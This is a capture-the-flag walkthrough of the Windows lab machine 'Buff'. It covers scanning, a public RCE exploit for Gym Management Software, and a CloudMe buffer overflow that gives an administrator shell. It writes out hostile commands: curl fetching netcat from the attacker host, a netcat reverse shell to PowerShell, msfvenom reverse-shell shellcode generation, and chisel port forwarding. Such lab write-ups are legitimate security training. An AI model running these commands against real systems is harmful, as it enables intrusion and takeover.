**Buff**

OS: Windows

Difficulty: Medium

**Nmap**

Starting with our aggressive nmap scan, we discover only port 8080 is open and running apache web server version 2.4.43

| *Nmap -A 10.10.10.198 | tee nmap.txt* |
| --- |

Since we have only one port open, we will start there

**Apache Web Server**

Going to the web server on port 8080, we find a fitness website with a login.

|  |
| --- |

While we explore the site, we set up a web fuzzer to find potential web directories.

| *ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.198:8080/FUZZ* |
| --- |

While exploring the site, the “contact.php” directory contains information about the software being used. It is “Gym Management Software 1.0”

|  |
| --- |

Doing a quick search for this software and version, we see two exploits. One gives RCE and the other gives admin privileges to the website itself. We will begin with the RCE code.

The RCE is taking advantage of the “uploads” directory by inserting a malicious php file to be ran. Doing this, we get RCE on the box as “shaun”

| *python ex\_db.py http://10.10.10.198:8080/* |
| --- |

**Privilege Escalation**

Testing out what we can do with this shell, we are limited to the “upload” directory, but can still query other directories and their contents.

Attempting to upgrade our shell through nishang fails. To get around this, we will instead curl netcat from our local machine and put it on the server. Then we will execute netcat to send a reverse shell back to us.

| *Curl 10.10.14.34:8000/nc64.exe -o nc.exe*  *Nc.exe 10.10.14.34 9001 -e powershell* |
| --- |

With our upgraded reverse shell, we first run a system info command and find there are no hotfixes installed.

| *systeminfo* |
| --- |

Running Sherlock, we find there are no kernel vulnerabilities on the machine.

Next we are going to run WinPEAS.

Doing this shows us nothing too useful.

Doing a little searching, we come across a file in Shaun’s downloads directory called “CloudMe\_1112.exe”

|  |
| --- |

Searching for exploits with searchsploit, we find there is a buffer overflow vulnerability.

|  |
| --- |

To copy the first exploit over, we mirror it from searchsploit

| *Searchsploit -m windows/remote/48389.py* |
| --- |

Taking a look at the exploit, it is using a msfvenom script to run some piece of code. Since we do not have this, we must create our own msfvenom shellcode to use. We will use “windows/shell\_reverse\_tcp”. The reason for this is so we can catch the shell with netcat instead of using metasploit’s meterpreter. To do this, we have the following:

| *Msfvenom -a x86 -p /windows/shell\_reverse\_tcp LHOST=10.10.14.34 LPORT=9003 -b ‘\x00\x0A\x0d’ -f python* |
| --- |

The architecture and the “-b” option are copied directly from the original exploit found from searchsploit.

With our new shellcode, we replace the python script’s original. Now all we need is to execute and catch our shell.

We will use chisel to port forward CloudMe to ourselves, giving us easier access to the service and likewise allowing easier execution of our buffer overflow exploit.

First, we upload a version of chisel built for windows onto the target machine and set it up. Then we set up a local chisel built for linux that will host the port tunnel on our machine. Chisel is used to port forward, and that is exactly what we are doing here.

| *./chisel.exe client 10.10.14.34:9002 R:8888:localhost:8888*  *./chisel server --reverse --port 9002* |
| --- |

We execute our python script while listening on port 9003, as specified in our shellcode, and we receive a reverse shell as administrator.

|  |
| --- |